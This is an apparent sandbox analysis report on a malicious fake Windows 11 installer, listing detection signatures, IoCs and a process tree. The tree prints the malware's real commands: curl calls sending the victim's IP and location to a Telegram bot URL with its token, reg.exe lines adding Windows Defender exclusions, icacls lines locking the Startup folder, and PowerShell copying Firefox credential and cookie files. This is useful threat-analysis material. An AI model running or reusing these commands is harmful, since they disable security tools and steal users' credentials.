0cffbd0a9a71d6dc4ccb63dbbfeef735b2c8bf9acdf1409f1cbdeed36ce0faf8

Analysis

max time kernel
151s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
23/04/2022, 22:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
windows11-setup_11_59931.exe
Size 34.1MB
Sample220423-2fc2xaahgp
SHA256 0cffbd0a9a71d6dc4ccb63dbbfeef735b2c8bf9acdf1409f1cbdeed36ce0faf8
MD5 9b1c764f5da1e5b8963831b10b0d55e1
SHA1 921e7361981d66a38718f9e61da7ed256eb82594
SHA512 ac9acb3011200621b6ed25d10f22998d54a10b5fa0bf506bf8c6150f1aafbf8dd1563cd496e57f0307350490f09c7e970e27684ae1cc1165b78a5daf04525fea
MD5 SHA1 SHA512

Score

10^/10

discovery evasion ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender notification settings 3 TTPs 3 IoCs

evasion trojan

Modify Existing Service

T1031

Modify Registry

T1112

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\sOFTWARe\micRoSOft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\wInDOWS DEFender SecUrItY center\NoTIFiCAtionS\dIsABLEenHancedNotIfICatioNs = "1"	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs

description	pid	Process	procid_target
PID 4012 created 1996	4012	svchost.exe	158
PID 4012 created 2732	4012	svchost.exe	162
PID 4012 created 948	4012	svchost.exe	163
PID 4012 created 4996	4012	svchost.exe	169
PID 4012 created 4552	4012	svchost.exe	172
PID 4012 created 1984	4012	svchost.exe	174
PID 4012 created 276	4012	svchost.exe	177
PID 4012 created 668	4012	svchost.exe	179

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\DRIVERS\ETC\HOSTS	cmd.exe

Executes dropped EXE 17 IoCs

pid	Process
4916	windows11-setup_11_59931.tmp
3228	windows11-setup_11_59931.tmp
3440	yb.exe
1996	rp.exe
2732	rp.exe
948	rp.exe
1352	rp.exe
4996	rp.exe
4552	rp.exe
4688	rp.exe
1984	rp.exe
276	rp.exe
528	rp.exe
668	rp.exe
780	rp.exe
3184	Windows11InstaIIationAssistant.scr
3064	Windows11InstaIIationAssistant.sCr

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	windows11-setup_11_59931.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\International\Geo\Nation	Windows11InstaIIationAssistant.sCr

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows11InstallationAssistant.lnk	windows11-setup_11_59931.tmp

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4324	icacls.exe
1568	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ipINfO.iO

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3184 set thread context of 3064	3184	Windows11InstaIIationAssistant.scr	196

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Windows11InstaIIationAssistant.sCr

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Windows11InstaIIationAssistant.sCr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Windows11InstaIIationAssistant.sCr

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1448	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3776	taskkill.exe

Modifies data under HKEY_USERS 20 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	rp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	rp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	rp.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
3228	windows11-setup_11_59931.tmp
3228	windows11-setup_11_59931.tmp
1996	rp.exe
1996	rp.exe
1996	rp.exe
1996	rp.exe
2732	rp.exe
2732	rp.exe
2732	rp.exe
2732	rp.exe
948	rp.exe
948	rp.exe
948	rp.exe
948	rp.exe
4996	rp.exe
4996	rp.exe
4996	rp.exe
4996	rp.exe
1984	rp.exe
1984	rp.exe
1984	rp.exe
1984	rp.exe
276	rp.exe
276	rp.exe
276	rp.exe
276	rp.exe
668	rp.exe
668	rp.exe
668	rp.exe
668	rp.exe
4424	powershell.exe
4424	powershell.exe
2396	powershell.exe
2396	powershell.exe
3732	powershell.exe
3732	powershell.exe
276	powershell.exe
276	powershell.exe
1784	powershell.exe
1784	powershell.exe
388	powershell.exe
388	powershell.exe
4524	powershell.exe
4524	powershell.exe
1764	powershell.exe
1764	powershell.exe
296	powershell.exe
296	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3776	taskkill.exe
Token: SeBackupPrivilege	2620	vssvc.exe
Token: SeRestorePrivilege	2620	vssvc.exe
Token: SeAuditPrivilege	2620	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5008	WMIC.exe
Token: SeSecurityPrivilege	5008	WMIC.exe
Token: SeTakeOwnershipPrivilege	5008	WMIC.exe
Token: SeLoadDriverPrivilege	5008	WMIC.exe
Token: SeSystemProfilePrivilege	5008	WMIC.exe
Token: SeSystemtimePrivilege	5008	WMIC.exe
Token: SeProfSingleProcessPrivilege	5008	WMIC.exe
Token: SeIncBasePriorityPrivilege	5008	WMIC.exe
Token: SeCreatePagefilePrivilege	5008	WMIC.exe
Token: SeBackupPrivilege	5008	WMIC.exe
Token: SeRestorePrivilege	5008	WMIC.exe
Token: SeShutdownPrivilege	5008	WMIC.exe
Token: SeDebugPrivilege	5008	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5008	WMIC.exe
Token: SeRemoteShutdownPrivilege	5008	WMIC.exe
Token: SeUndockPrivilege	5008	WMIC.exe
Token: SeManageVolumePrivilege	5008	WMIC.exe
Token: 33	5008	WMIC.exe
Token: 34	5008	WMIC.exe
Token: 35	5008	WMIC.exe
Token: 36	5008	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5008	WMIC.exe
Token: SeSecurityPrivilege	5008	WMIC.exe
Token: SeTakeOwnershipPrivilege	5008	WMIC.exe
Token: SeLoadDriverPrivilege	5008	WMIC.exe
Token: SeSystemProfilePrivilege	5008	WMIC.exe
Token: SeSystemtimePrivilege	5008	WMIC.exe
Token: SeProfSingleProcessPrivilege	5008	WMIC.exe
Token: SeIncBasePriorityPrivilege	5008	WMIC.exe
Token: SeCreatePagefilePrivilege	5008	WMIC.exe
Token: SeBackupPrivilege	5008	WMIC.exe
Token: SeRestorePrivilege	5008	WMIC.exe
Token: SeShutdownPrivilege	5008	WMIC.exe
Token: SeDebugPrivilege	5008	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5008	WMIC.exe
Token: SeRemoteShutdownPrivilege	5008	WMIC.exe
Token: SeUndockPrivilege	5008	WMIC.exe
Token: SeManageVolumePrivilege	5008	WMIC.exe
Token: 33	5008	WMIC.exe
Token: 34	5008	WMIC.exe
Token: 35	5008	WMIC.exe
Token: 36	5008	WMIC.exe
Token: SeSecurityPrivilege	1248	msiexec.exe
Token: SeDebugPrivilege	1996	rp.exe
Token: SeAssignPrimaryTokenPrivilege	1996	rp.exe
Token: SeIncreaseQuotaPrivilege	1996	rp.exe
Token: 0	1996	rp.exe
Token: SeTcbPrivilege	4012	svchost.exe
Token: SeTcbPrivilege	4012	svchost.exe
Token: SeIncreaseQuotaPrivilege	1940	WMIC.exe
Token: SeSecurityPrivilege	1940	WMIC.exe
Token: SeTakeOwnershipPrivilege	1940	WMIC.exe
Token: SeLoadDriverPrivilege	1940	WMIC.exe
Token: SeSystemProfilePrivilege	1940	WMIC.exe
Token: SeSystemtimePrivilege	1940	WMIC.exe
Token: SeProfSingleProcessPrivilege	1940	WMIC.exe
Token: SeIncBasePriorityPrivilege	1940	WMIC.exe
Token: SeCreatePagefilePrivilege	1940	WMIC.exe
Token: SeBackupPrivilege	1940	WMIC.exe
Token: SeRestorePrivilege	1940	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3228	windows11-setup_11_59931.tmp

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3184	Windows11InstaIIationAssistant.scr

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5104 wrote to memory of 4916	5104	windows11-setup_11_59931.exe	81
PID 5104 wrote to memory of 4916	5104	windows11-setup_11_59931.exe	81
PID 5104 wrote to memory of 4916	5104	windows11-setup_11_59931.exe	81
PID 4916 wrote to memory of 3168	4916	windows11-setup_11_59931.tmp	82
PID 4916 wrote to memory of 3168	4916	windows11-setup_11_59931.tmp	82
PID 4916 wrote to memory of 3168	4916	windows11-setup_11_59931.tmp	82
PID 3168 wrote to memory of 3228	3168	windows11-setup_11_59931.exe	83
PID 3168 wrote to memory of 3228	3168	windows11-setup_11_59931.exe	83
PID 3168 wrote to memory of 3228	3168	windows11-setup_11_59931.exe	83
PID 3228 wrote to memory of 3776	3228	windows11-setup_11_59931.tmp	86
PID 3228 wrote to memory of 3776	3228	windows11-setup_11_59931.tmp	86
PID 3228 wrote to memory of 3776	3228	windows11-setup_11_59931.tmp	86
PID 3228 wrote to memory of 1568	3228	windows11-setup_11_59931.tmp	89
PID 3228 wrote to memory of 1568	3228	windows11-setup_11_59931.tmp	89
PID 3228 wrote to memory of 1568	3228	windows11-setup_11_59931.tmp	89
PID 3228 wrote to memory of 3440	3228	windows11-setup_11_59931.tmp	91
PID 3228 wrote to memory of 3440	3228	windows11-setup_11_59931.tmp	91
PID 224 wrote to memory of 3752	224	WScript.exe	95
PID 224 wrote to memory of 3752	224	WScript.exe	95
PID 3752 wrote to memory of 2480	3752	cmd.exe	97
PID 3752 wrote to memory of 2480	3752	cmd.exe	97
PID 3752 wrote to memory of 2828	3752	cmd.exe	98
PID 3752 wrote to memory of 2828	3752	cmd.exe	98
PID 3752 wrote to memory of 3148	3752	cmd.exe	99
PID 3752 wrote to memory of 3148	3752	cmd.exe	99
PID 3752 wrote to memory of 3152	3752	cmd.exe	100
PID 3752 wrote to memory of 3152	3752	cmd.exe	100
PID 3752 wrote to memory of 432	3752	cmd.exe	101
PID 3752 wrote to memory of 432	3752	cmd.exe	101
PID 3752 wrote to memory of 4640	3752	cmd.exe	102
PID 3752 wrote to memory of 4640	3752	cmd.exe	102
PID 3752 wrote to memory of 3064	3752	cmd.exe	103
PID 3752 wrote to memory of 3064	3752	cmd.exe	103
PID 3752 wrote to memory of 396	3752	cmd.exe	104
PID 3752 wrote to memory of 396	3752	cmd.exe	104
PID 3752 wrote to memory of 1244	3752	cmd.exe	105
PID 3752 wrote to memory of 1244	3752	cmd.exe	105
PID 3752 wrote to memory of 2672	3752	cmd.exe	106
PID 3752 wrote to memory of 2672	3752	cmd.exe	106
PID 3752 wrote to memory of 2356	3752	cmd.exe	107
PID 3752 wrote to memory of 2356	3752	cmd.exe	107
PID 3752 wrote to memory of 3144	3752	cmd.exe	108
PID 3752 wrote to memory of 3144	3752	cmd.exe	108
PID 3752 wrote to memory of 4972	3752	cmd.exe	109
PID 3752 wrote to memory of 4972	3752	cmd.exe	109
PID 3752 wrote to memory of 4480	3752	cmd.exe	110
PID 3752 wrote to memory of 4480	3752	cmd.exe	110
PID 3752 wrote to memory of 5016	3752	cmd.exe	111
PID 3752 wrote to memory of 5016	3752	cmd.exe	111
PID 3752 wrote to memory of 5044	3752	cmd.exe	112
PID 3752 wrote to memory of 5044	3752	cmd.exe	112
PID 3752 wrote to memory of 4372	3752	cmd.exe	113
PID 3752 wrote to memory of 4372	3752	cmd.exe	113
PID 3752 wrote to memory of 3660	3752	cmd.exe	114
PID 3752 wrote to memory of 3660	3752	cmd.exe	114
PID 3752 wrote to memory of 4396	3752	cmd.exe	115
PID 3752 wrote to memory of 4396	3752	cmd.exe	115
PID 3752 wrote to memory of 4232	3752	cmd.exe	116
PID 3752 wrote to memory of 4232	3752	cmd.exe	116
PID 3752 wrote to memory of 4600	3752	cmd.exe	117
PID 3752 wrote to memory of 4600	3752	cmd.exe	117
PID 3752 wrote to memory of 2732	3752	cmd.exe	118
PID 3752 wrote to memory of 2732	3752	cmd.exe	118
PID 3752 wrote to memory of 1788	3752	cmd.exe	119

C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_59931.exe
"C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_59931.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5104
- C:\Users\Admin\AppData\Local\Temp\is-BGQMU.tmp\windows11-setup_11_59931.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-BGQMU.tmp\windows11-setup_11_59931.tmp" /SL5="$70056,11099401,820224,C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_59931.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4916
- - C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_59931.exe
    "C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_59931.exe" /verysilent /sp-
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Users\Admin\AppData\Local\Temp\is-DGL7H.tmp\windows11-setup_11_59931.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-DGL7H.tmp\windows11-setup_11_59931.tmp" /SL5="$80056,11099401,820224,C:\Users\Admin\AppData\Local\Temp\windows11-setup_11_59931.exe" /verysilent /sp-
      4⤵
      Executes dropped EXE
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3228
    - - C:\Windows\SysWOW64\taskkill.exe
        
        "C:\Windows\system32\taskkill.exe" /f /im "Windows11InstaIIationAssistant.scr"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3776
    - - C:\Windows\SysWOW64\icacls.exe
        
        "icacls.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /remove:d everyone /T /C
        5⤵
        Modifies file permissions
        
        PID:1568
    - - C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\yb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\yb.exe"
        5⤵
        Executes dropped EXE
        
        PID:3440
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\lg34yu93.cmd""
        5⤵
        
        PID:432
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s ipINfO.iO/ip
        6⤵
        
        PID:1372
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s ipINfO.iO/ip
        7⤵
        
        PID:2100
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s IPinFo.io/city
        6⤵
        
        PID:4396
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s IPinFo.io/city
        7⤵
        
        PID:4232
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c curl -s IPINFo.Io/country
        6⤵
        
        PID:3420
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s IPINFo.Io/country
        7⤵
        
        PID:608
      - C:\Windows\SysWOW64\curl.exe
        
        curl --insecure --data chat_id=1476438440 --data-urlencode "text="IP-address:" 154.61.71.50, "Country:" NL, "City:" Aalsmeerderbrug, "UserName:" Admin, "Date:" Sun 04/24/2022, 0:31:31" "https://api.telegram.org/bot5213667864:AAGWQeK8-vjSj6Gg9FYQcQWmwyV6UyPtw_4/sendMessage"
        6⤵
        
        PID:2016
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\slt5hdy83.cmd""
        5⤵
        
        PID:4320
      - C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1996
        
        C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2732
        
        C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:1352
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v scr /t REG_DWORD /d 0 /f
        9⤵
        
        PID:3176
      - C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:948
        
        C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4996
        
        C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:4688
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v cmd /t REG_DWORD /d 0 /f
        9⤵
        
        PID:2468
      - C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        
        PID:4552
        
        C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1984
        
        C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:528
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender\Exclusions\Extensions" /v exe /t REG_DWORD /d 0 /f
        9⤵
        
        PID:4000
      - C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        rp.exe /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:276
        
        C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe" /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:668
        
        C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5D1CQ.tmp\au\rp.exe" /TI/ /SW:0 reg.exe add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        8⤵
        Executes dropped EXE
        Modifies data under HKEY_USERS
        
        PID:780
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\Software\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        9⤵
        
        PID:376
    - - C:\Windows\SysWOW64\icacls.exe
        
        "icacls.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny everyone:(DE,DC) /T /C
        5⤵
        Modifies file permissions
        
        PID:4324
    - - C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr
        
        "C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.scr"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of SetWindowsHookEx
        
        PID:3184
      - C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.sCr
        
        "C:\Users\Admin\AppData\Roaming\Windows11InstallationAssistant\Windows11InstaIIationAssistant.sCr"
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3064
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/f4i47zv9.default-release\logins.json\" \"C:\Users\Admin\AppData\Local\Temp\ncstgb80ct240601437.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/f4i47zv9.default-release\key3.db\" \"C:\Users\Admin\AppData\Local\Temp\wz4pmqbr0ki1240601437.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/f4i47zv9.default-release\key4.db\" \"C:\Users\Admin\AppData\Local\Temp\zhawxrrqc240601437.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/f4i47zv9.default-release\cert9.db\" \"C:\Users\Admin\AppData\Local\Temp\l7p8kr5c0visz240601437.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles/f4i47zv9.default-release\prefs.js\" \"C:\Users\Admin\AppData\Local\Temp\st43ul4io240601437.tmp\" -Force"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/f4i47zv9.default-release\formhistory.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\hu0zbr10h240617468.tmp\" -Force;cpi \"C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\\Profiles/f4i47zv9.default-release\cookies.sqlite\" \"C:\Users\Admin\AppData\Local\Temp\n21g65ijjdq8240617468.tmp\" -Force"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
